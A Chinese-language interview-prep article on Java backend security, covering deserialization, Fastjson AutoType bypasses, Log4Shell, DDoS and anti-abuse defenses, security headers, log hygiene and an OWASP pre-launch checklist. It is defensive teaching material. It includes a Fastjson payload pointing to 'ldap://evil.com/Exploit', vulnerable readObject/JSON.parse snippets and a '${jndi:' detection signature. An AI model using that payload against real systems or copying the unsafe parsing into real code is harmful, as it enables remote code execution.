安全(三):Java 安全、攻击防护与安全体系
安全(三):Java 安全、攻击防护与安全体系
导语:这一篇面向 Java 后端,补齐最"致命"的两类漏洞——反序列化(含 Fastjson 绕过史)与 JNDI 注入(Log4Shell),再讲 DDoS/CC 攻击的分层防护、点击劫持与劫持类攻击、安全响应头清单,最后落到可落地的防御体系(SDL + SAST/DAST/SCA + WAF/RASP + 供应链)、业务风控,以及一份上线前自查清单,共 10 题。
一、Java 生态高危漏洞
1. Java 反序列化漏洞的原理是什么?为什么它比一般漏洞危险?
答: 反序列化的本质是"把一段字节还原成对象",而"还原过程会执行代码"——攻击者通过构造恶意字节流,就能在你调用 readObject() 的那一刻触发任意代码执行(RCE)。
① Java 原生反序列化
// 漏洞代码:对不可信数据调用 readObject
ObjectInputStream ois = new ObjectInputStream(untrustedInput);
Object obj = ois.readObject(); // ★ 危险点:这一步会触发下面这些"魔术方法"Apache Commons Collections 1/2/3 系列、ysoserial 工具把常见利用链做成了一键生成,因此"只要你反序列化了不可信数据,就等于把 RCE 的入口敞开了"。
② Fastjson 反序列化(Java 面试几乎必问)
// 漏洞根源:Fastjson 为了让多态对象正确还原,支持 **AutoType**
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://evil.com/Exploit\"," +
"\"autoCommit\":true}";
JSON.parse(json); // ★ 解析时会实例化 @type 指定的类并 setter 赋值 → 触发 JNDI 加载远程恶意类 → RCE| 阶段 | 说明 |
|---|---|
@type 机制 | JSON 里用 @type 指定要反序列化的真实类;Fastjson 会实例化它并调用 setter/getter |
| 为什么能 RCE | 攻击者选一个"setter 或 getter 里有危险操作"的类(如 JdbcRowSetImpl 的 setAutoCommit 会发起 JNDI 连接),配合 JNDI/TemplatesImpl 加载远程字节码 |
| 漏洞史(体现经验) | 从 1.2.24 起持续出现绕过,直到 1.2.80+ 仍有 AutoType 绕过;"加黑名单"的思路反复被绕(因为可利用类太多、变体太多) |
| 正确修复 | ① 升级到安全版本(1.2.83+ / 迁移到 Fastjson2);② 开启 safeMode(-Dfastjson.parser.safeMode=true,彻底禁用 AutoType);③ 代码里只解析确定类型(JSON.parseObject(s, Foo.class),不要用 JSON.parse(s) 或 JSONObject 泛型);④ 换 Jackson(默认不开多态,需显式启用 enableDefaultTyping,风险更可控);⑤ 危险出网限制(JDBC/ldap/rmi 出网白名单) |
③ 防御的"分层"答案(关键是要说清"根治不了就只能兜底"):
| 层 | 手段 | 效果 |
|---|---|---|
| ① 根治:不用 Java 原生反序列化传数据 | 协议改用 JSON/Protobuf;必须用时只反序列化白名单类型(ObjectInputFilter/ValidatingObjectInputStream,JDK 9+ 的 jdk.serialFilter) | ✅ 最有效 |
| ② 库层加固 | Fastjson 开 safeMode/升级;Jackson 关闭多态或使用 @JsonTypeInfo 白名单;Log4j 升级 | ✅ |
| ③ 出口限制(兜底很关键) | 限制应用出网(只放行白名单)、禁用 JNDI 远程加载(com.sun.jndi.ldap.object.trustURLCodebase=false)、JDK 高版本默认已收紧 | ✅ 打断利用链最后一环 |
| ④ 运行时防护 | RASP / WAF 检测反序列化特征与 JNDI 出站 | 🔶 兜底,可被绕过 |
| ⑤ 供应链治理 | 组件清单(SBOM)、SCA 扫描、及时升级有漏洞的第三方库(A03 软件供应链失效) | ✅ 前置 |
一句话记忆:「反序列化漏洞的危险在于"数据即代码"——你只是读了一段字节,却执行了攻击者的代码;而且利用链往往藏在你依赖的第三方库里。」
2. Log4Shell(JNDI 注入)是怎么回事?
答: CVE-2021-44228 是近十年影响最大的漏洞之一(CVSS 10.0),几乎所有用 Log4j2 的 Java 应用都受影响。
修复与加固(面试要按优先级说):
| 措施 | 说明 |
|---|---|
| ① 升级 Log4j2 到安全版本(首选) | 2.17.1+(Java 8);2.12.4+(Java 7);2.3.2+(Java 6)。2.15.0 修复不完整,2.16.0 又修了 DoS |
| ② 临时缓解(无法立即升级时) | 移除 JndiLookup 类(zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class);设置 log4j2.formatMsgNoLookups=true(2.10~2.14) |
| ③ JVM 层禁用远程加载 | -Dcom.sun.jndi.ldap.object.trustURLCodebase=false、-Dcom.sun.jndi.rmi.object.trustURLCodebase=false(JDK 高版本已默认 false) |
| ④ 网络层兜底 | 限制应用出网(只放行白名单)→ 即使有漏洞,也连不上攻击者的 LDAP 服务器(这是最有效的兜底之一) |
| ⑤ 供应链治理 | SBOM + SCA 扫描,在 CI 里扫描依赖漏洞;对所有间接依赖也能识别(这正是 OWASP 2025 新增 A03 的原因) |
| ⑥ 运行时防护 | WAF/RASP 检测 ${jndi: 特征与 JNDI 出站 |
两个高频追问:
- 「JNDI 是什么?为什么它能加载远程类?」 → JNDI(Java Naming and Directory Interface) 是 Java 的统一命名/目录服务接口,可访问 LDAP/RMI/DNS 等。历史上它允许从远程 URL 加载
Reference指向的类工厂,这就是"远程代码加载"的来源。JDK 后续默认禁止从远程 codebase 加载(需显式开启trustURLCodebase=true),但攻击者还能用本地已存在的类(如BeanFactory)继续利用; - 「这次事件给工程上的最大教训是什么?」 →
- 默认不信任任何输入(包括会被打进日志的内容);
- 基础组件的攻击面远超想象(日志库也能 RCE)→ 需要SBOM 与依赖治理;
- 要有"纵深防御":升级当然重要,但出网白名单能在最坏情况下救命;
- 应急响应能力(快速定位影响面、批量升级、灰度验证)比"不出事"更现实。
二、流量与劫持类攻击
3. DDoS 有哪些类型?四层和七层攻击怎么区分与防护?
答: DDoS(分布式拒绝服务)= 用大量分布式流量打满目标的"带宽/连接数/计算资源",本质是可用性攻击(不需要漏洞)。
| 层次 | 典型攻击 | 打的是什么 | 特征 |
|---|---|---|---|
| 网络层(L3) | ICMP/UDP Flood、DNS 放大(DNS Amplification) | 带宽 | 流量巨大(Gbps~Tbps),特征明显 |
| 传输层(L4) | SYN Flood、ACK Flood、连接耗尽 | 连接表/半连接队列 | 大量半连接(SYN_RECV),或大量 ESTABLISHED |
| 应用层(L7) | CC 攻击、HTTP Flood、慢速攻击(Slowloris) | CPU/数据库/业务逻辑 | 请求"看起来合法",QPS 不大但很吃资源 |
| 反射/放大类 | Memcached/NTP/DNS 反射放大 | 带宽(放大倍数可达数万倍) | 源 IP 被伪造 → 打到受害者 |
分层防护(面试按"从外到内"答最清晰):
| 层 | 手段 |
|---|---|
| ① 上游/运营商/云清洗 | 流量清洗中心(Anycast + 黑洞路由把攻击流量引流清洗);大流量只能靠带宽冗余 + 云厂商清洗能力 |
| ② CDN / 反向代理 | 用 CDN 隐藏源站 IP(源站 IP 一旦泄露就白搭);CDN 分摊 L7 流量 |
| ③ 网络与内核层 | 云安全组/ACL 封禁异常源;tcp_syncookies、somaxconn、tcp_max_syn_backlog;多队列网卡 + RPS(见《系统(三)》) |
| ④ 网关/WAF 层 | 限流(IP/用户/接口维度)、CC 防护规则、验证码挑战、JS 挑战(区分人与脚本)、IP 黑名单/信誉 |
| ⑤ 应用层 | 限流 + 熔断 + 降级(Sentinel/Resilience4j)、异步化(削峰)、缓存挡掉读请求、关键资源保护(DB 连接池隔离) |
| ⑥ 弹性与容灾 | 自动扩容(K8s HPA)、多可用区/多地域、静态页降级(大促降级为静态页) |
| ⑦ 业务与运营 | 风控识别(设备指纹/行为)、黑名单、大促前容量评估与压测 |
三个高频追问:
- 「为什么 DDoS 防不住、只能缓解?」 → 因为攻击者资源可以远大于你(僵尸网络、反射放大);防守方的成本高于攻击方(经济上的不对称)。所以目标是"保住核心可用性 + 快速缓解",而不是"零丢包";
- 「源站 IP 怎么泄露的?」 → 历史 DNS 记录、邮件头(
Received链)、证书透明度日志(CT Log)、扫描全网 IP 匹配特征、子域名解析、开发/测试环境未走 CDN。所以"隐藏源站 + 只允许 CDN 回源 IP 访问"是关键; - 「慢速攻击(Slowloris)怎么防?」 → 它用极慢的请求占满连接(每几秒发一个字节)。防御:缩短 header/body 读取超时(Nginx
client_header_timeout、client_body_timeout)、限制单 IP 并发连接数、限制最小传输速率。
4. CC 攻击(应用层 DDoS)与"防刷"怎么做?
答: CC 攻击 = 用大量"看起来合法"的请求打你的高成本接口(搜索、列表、登录、下单)。
防护组合(按"成本从低到高"):
| 手段 | 说明 |
|---|---|
| ① 接口级限流 | 令牌桶/滑动窗口,按接口+用户+IP+设备多维限流(Sentinel/网关层);不同接口不同阈值(登录、短信、下单单独设) |
| ② 缓存挡刀 | 热点数据走缓存/本地缓存/CDN,让请求不落到 DB;对"不可缓存"的接口做结果短期缓存 + 合并请求 |
| ③ 人机识别 | 验证码(图形/滑块/行为验证)、JS 挑战(要求执行 JS 计算并回带结果 → 脚本成本上升)、签名与时间戳(防重放,抬高自动化成本) |
| ④ 身份与风控 | 必须登录(匿名接口最容易被刷);设备指纹、行为序列分析、信誉分;代理 IP 识别(秒拨/IDC 段) |
| ⑤ 成本控制 | 高成本操作异步化(下单/发券走 MQ 削峰);短信/邮件/验证码加严格频率与额度;慢哈希配合限流(否则 bcrypt 反成放大器) |
| ⑥ 熔断与降级 | 依赖被打挂时快速失败,保护核心链路(如"推荐"降级为空、搜索降级为热门列表) |
| ⑦ 监控与应急 | 按接口的 QPS/RT/P99 监控 + 异常检测;与 CDN/WAF 联动快速拉黑策略 |
「防刷」的三个典型业务场景(面试常问):
| 场景 | 手法 | 防御 |
|---|---|---|
| 短信/邮件轰炸 | 用你的接口给他人手机发短信(骚扰 + 消耗费用) | 图形验证码前置、手机号维度频率限制(如 60s 一条/10 条一天)、IP + 设备 + 号段多维限制、对接短信服务商风控 |
| 优惠券/红包薅羊毛 | 批量注册小号领券、脚本抢券 | 实名/绑卡门槛、设备指纹 + 行为风控、领券幂等与唯一约束、活动规则设计(限领次数 + 门槛) |
| 撞库/爆破 | 用泄漏的账号密码库批量登录 | 失败限流与锁定、验证码/二次验证、异常登录检测(异地/新设备)、密码哈希用慢算法、监控撞库特征(大量账号 + 少量 IP 或反之) |
三、防御体系与工程实践
5. 点击劫持、DNS 劫持、ARP 欺骗分别是什么?怎么防?
答:
① 点击劫持(Clickjacking)
② DNS 劫持 / 投毒
| 类型 | 说明 | 防御 |
|---|---|---|
| 本地 DNS 劫持 | 运营商/路由器篡改解析结果(返回广告页或钓鱼站) | DoH/DoT(加密 DNS)、DNSSEC(签名验证)、换可信 DNS |
| DNS 缓存投毒 | 污染递归解析器缓存 | DNSSEC、随机化查询 ID/端口(现代解析器默认) |
| Hosts/客户端劫持 | 恶意软件改本机 hosts | 终端安全 |
| 域名劫持(注册商/账号) | 攻击者拿到你的域名管理权,直接改解析 | 域名账号开启 MFA + 注册商锁、证书透明度监控(有异常签发立即告警) |
③ ARP 欺骗(局域网中间人)
统一结论:劫持类攻击的共同防御思路是"端到端加密 + 完整性校验"(HTTPS/HSTS/证书校验),因为你无法控制中间链路上的所有设备。
6. 常见的安全响应头有哪些?怎么配?
答: 这是成本最低、收益最高的加固手段之一(改配置即可,不用改代码)。
| 响应头 | 作用 | 推荐值 |
|---|---|---|
Strict-Transport-Security(HSTS) | 强制后续请求走 HTTPS,防降级与 301 劫持 | max-age=31536000; includeSubDomains; preload |
Content-Security-Policy(CSP) | 限制资源加载来源、禁止内联脚本 → 缓解 XSS 与数据外传 | default-src 'self'; script-src 'self' https://cdn.x.com; object-src 'none'; base-uri 'self'; frame-ancestors 'none' |
X-Frame-Options | 防点击劫持(CSP frame-ancestors 的兼容版) | DENY(或 SAMEORIGIN) |
X-Content-Type-Options | 禁止 MIME 嗅探(防止把 .txt 当脚本执行) | nosniff |
Referrer-Policy | 控制 Referer 泄露(防把敏感 URL 带去第三方) | strict-origin-when-cross-origin(或 no-referrer) |
Permissions-Policy | 禁用不需要的浏览器能力(摄像头/麦克风/定位) | geolocation=(), camera=(), microphone=() |
Cross-Origin-Opener-Policy / Embedder-Policy / Resource-Policy | 进程隔离,防 Spectre 类侧信道与跨站泄露 | same-origin / require-corp / same-origin |
Cache-Control(敏感页) | 防敏感页面被中间缓存/浏览器缓存 | no-store(密码页、个人中心) |
Server / X-Powered-By(移除) | 不暴露组件与版本(减少攻击面信息) | 删除或置空 |
# Nginx 参考配置
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
server_tokens off; # 隐藏 Nginx 版本
more_clear_headers 'X-Powered-By'; # 移除框架指纹上线建议:CSP 用
Content-Security-Policy-Report-Only先观察(收集违规报告),确认业务无影响后再切正式策略——直接上 CSP 常常会打断正常页面(内联脚本、CDN 域名遗漏)。
7. 一套完整的安全防御体系怎么搭建?
答: 面试问「你们公司/你怎么做安全」时的框架答案——从"人的意识"到"运行时兜底"分六层。
必须说出的三个"反常识"观点(加分):
| 观点 | 说明 |
|---|---|
| 「WAF 不是防线,是兜底」 | 依赖 WAF 会导致"代码里随便写",一旦绕过或 WAF 故障即全裸;安全必须做在代码与设计里 |
| 「安全不是加一个模块,而是"每个需求都要想一次"」 | 越权、批量导出、接口未鉴权这些漏洞渗透测试未必能覆盖,必须靠研发自己形成习惯 |
| 「供应链是你管不到的代码」 | Log4Shell 证明"你没写漏洞也会被打穿" → SBOM + SCA + 及时升级 + 出网白名单 |
8. 敏感数据与日志安全要注意什么?
答:
| 场景 | 风险 | 做法 |
|---|---|---|
| 日志打印请求/响应 | 密码、身份证、银行卡、Token 明文进日志 → 日志系统泄露即全泄 | 统一日志脱敏(切面/拦截器/自定义序列化器),只留后四位或哈希 |
| 日志注入(Log Injection) | 用户输入含换行 → 伪造日志条目(混淆审计) | 换行/控制字符转义;结构化日志(JSON)而非拼接 |
| 异常堆栈返回前端 | 泄露路径、SQL、版本、内网 IP | 统一异常处理,只返回错误码 + traceId,详细堆栈只进服务端日志 |
| 错误信息过于具体 | "用户不存在" vs "密码错误" → 用户名枚举 | 统一模糊提示 |
| 导出与批量查询 | 内部人员/越权批量拉数据 | 导出必须鉴权 + 限流 + 审批 + 审计留痕,敏感字段脱敏 |
| 前端暴露接口与密钥 | JS 里硬编码 AppSecret、Map Key、内部接口路径 | 密钥只在后端,前端走 BFF 代理;前端任何东西都是公开的 |
| 缓存与临时文件 | Redis 缓存明文敏感数据、临时文件未清理 | 缓存加密/脱敏、设置 TTL、临时文件用后即删 |
| 备份与测试数据 | 用生产数据做测试(最常见的数据泄露源) | 脱敏后再给测试;备份加密;测试环境隔离 |
| 截图/工单/IM | 运维把含敏感信息的截图发到群里 | 制度 + 意识培训(技术防不住"人") |
「审计日志」应包含什么(配套 A09):
一句话:「日志的价值在于"出事时能查清",但日志本身也是最大的泄露面——所以既要"记全",又要"记好(脱敏、防注入、不可篡改)"。」
9. 业务安全(薅羊毛、撞库、爬虫)怎么做风控?
答: 这类问题不是漏洞,而是"合法请求被滥用",需要风控体系。
四类典型业务风险:
| 风险 | 手法 | 危害 |
|---|---|---|
| 薅羊毛 | 批量小号领新人券/补贴,转手变现 | 直接资金损失 |
| 撞库/盗号 | 用泄漏库批量试登录,成功即盗刷 | 用户资产损失 + 舆情 |
| 爬虫/数据抓取 | 抓商品、价格、用户 UGC | 数据资产流失、被竞对利用 |
| 刷单/刷量 | 刷好评、刷播放、刷积分 | 破坏业务生态与数据可信度 |
风控体系的技术组成:
四个高频追问:
- 「设备指纹能被伪造吗?」 → 能被硬改(改机工具、群控),但成本会显著上升;风控的目标不是"绝对识别",而是"抬高攻击成本,让收益低于成本";
- 「为什么不能用"封 IP"解决?」 → 秒拨 IP(每次重拨换一个 IP,成本几分钱)+ 代理池 → IP 只是众多维度之一,必须多维度组合;
- 「风控会不会误杀正常用户?」 → 会。所以要用"分层处置"(先加强验证而非直接拒绝)+ 申诉通道 + 灰度策略;误杀率是风控的核心指标之一;
- 「撞库怎么防?」 → 失败的限流与锁定(IP + 账号双维度)+ 验证码/二次验证 + 异常登录检测(新设备/异地 → 二次验证)+ 慢哈希抬高离线破解成本 + 监控撞库特征(大量不同账号、相同密码特征)。
10. 综合实战:给出你的上线前安全自查清单
答: 这是最能体现落地经验的一题,可以按 OWASP Top 10 组织成一张可执行清单:
══════ A01 访问控制(连续第一,重点)══════
□ 每个接口是否都显式声明了权限要求?(默认拒绝)
□ 身份是否只从登录态取,而不是从请求参数取?
□ 所有数据查询是否强制带上主体条件(防水平越权)?
□ 详情/导出/下载接口是否也做了鉴权(不只是列表页)?
□ 是否做过自动化越权测试(用 A 的 token 遍历访问 B 的资源)?
□ 鉴权组件异常时是"拒绝"还是"放行"?(必须 fail-closed)
══════ A02 安全配置 ══════
□ Spring Boot Actuator 是否鉴权?生产是否关闭/仅内网?
□ Swagger/Knife4j、H2 console、Druid 监控页生产是否关闭?
□ debug 是否关闭?错误是否只返回 traceId(不返回堆栈)?
□ 数据库/Redis/ES/MQ 是否有强密码、是否只在内网?
□ .git/.env/备份文件/目录列表是否不可访问?
□ OSS/S3 Bucket 是否私有?安全组是否最小开放?
□ Cookie 是否配了 HttpOnly + Secure + SameSite?
□ CORS 是否精确白名单(禁止 * 携带凭证)?
══════ A03 供应链 ══════
□ 是否有 SBOM / 依赖清单?CI 是否跑 SCA 扫描?
□ 高危依赖(Log4j/Fastjson/Struts)是否已升级或规避?
□ 基础镜像是否定期重建(含系统层补丁)?
□ 构建产物是否可追溯、制品库是否有权限控制?
══════ A04 加密与密钥 ══════
□ 密码是否用 bcrypt/Argon2id(不是 MD5/SHA)?
□ 敏感字段(手机号/证件)是否加密存储 + 掩码展示?
□ 是否有硬编码密钥/口令(含 Git 历史、镜像层)?
□ 密钥是否在 KMS/Vault 且可轮换?
□ AES 是否用 GCM(不用 ECB、不用固定 IV)?
□ 是否全站 HTTPS + HSTS?
══════ A05 注入 ══════
□ SQL 是否全部参数化?`${}` 是否全部走了白名单映射?
□ 是否存在命令拼接(Runtime.exec / ProcessBuilder)?
□ XML 解析是否关闭外部实体(防 XXE)?
□ 模板/表达式(SpEL/OGNL/MVEL)是否避免了用户可控求值?
□ 输出是否按上下文编码?富文本是否白名单过滤?
══════ A06 不安全设计 ══════
□ 涉及资金/隐私的需求是否做过安全评审与威胁建模?
□ 关键操作是否有幂等与金额校验(防重放/篡改)?
□ 是否有速率限制(登录、短信、下单、导出)?
□ 验证码是否可被暴力破解(位数、有效期、尝试次数)?
══════ A07 认证 ══════
□ 是否支持 MFA(至少管理后台/敏感操作)?
□ 登录失败是否限流?提示是否统一(防枚举)?
□ 登录成功后是否重建 Session(防会话固定)?
□ JWT 是否显式指定算法、校验 exp/iss/aud、密钥够强?
□ 登出/改密是否能立即失效(token 撤销机制)?
══════ A08 数据完整性 ══════
□ 是否存在不可信数据的反序列化(原生/Fastjson/Jackson 多态)?
□ 关键配置/更新包是否校验签名?
□ Webhook/回调是否验签 + 防重放(时间戳 + nonce)?
══════ A09 日志与告警 ══════
□ 高敏操作是否都有审计日志(谁/何时/做了什么/结果)?
□ 日志是否脱敏(无密码/证件/Token)?是否防日志注入?
□ 是否有安全告警(异常登录、批量导出、权限变更)?
□ 日志留存是否满足合规(≥6 个月)且不可篡改?
══════ A10 异常处理 ══════
□ 是否统一异常处理,不向前端暴露堆栈?
□ 边界与竞态条件是否处理(超卖、重复提交、并发扣减)?
□ 外部依赖失败时是"降级拒绝"还是"默认放行"?(必须 fail-closed)
□ 是否有兜底超时(防请求悬挂耗尽线程池)?最后一句总结(面试收尾用):
「安全不是一次性的检查项,而是"每个需求都要想一遍"的习惯。上线前的自查清单能挡住 80% 的低级漏洞,剩下 20% 靠 SDL 流程、工具链(SAST/DAST/SCA/RASP)与应急响应能力兜底——而最容易被忽略的往往是配置、权限和异常路径,这也正是 OWASP 2025 把"配置错误"提到第二、把"异常处理"单列的原因。」
安全系列小结:(一)Web 漏洞与 OWASP Top 10 →(二)认证、授权与加密 →(三)Java 安全、攻击防护与安全体系。三条主线是「输入不可信(注入)→ 身份不可冒用(认证授权)→ 数据不可泄露(加密与密钥)」,而贯穿始终的原则只有两条:「默认拒绝」与「纵深防御」。
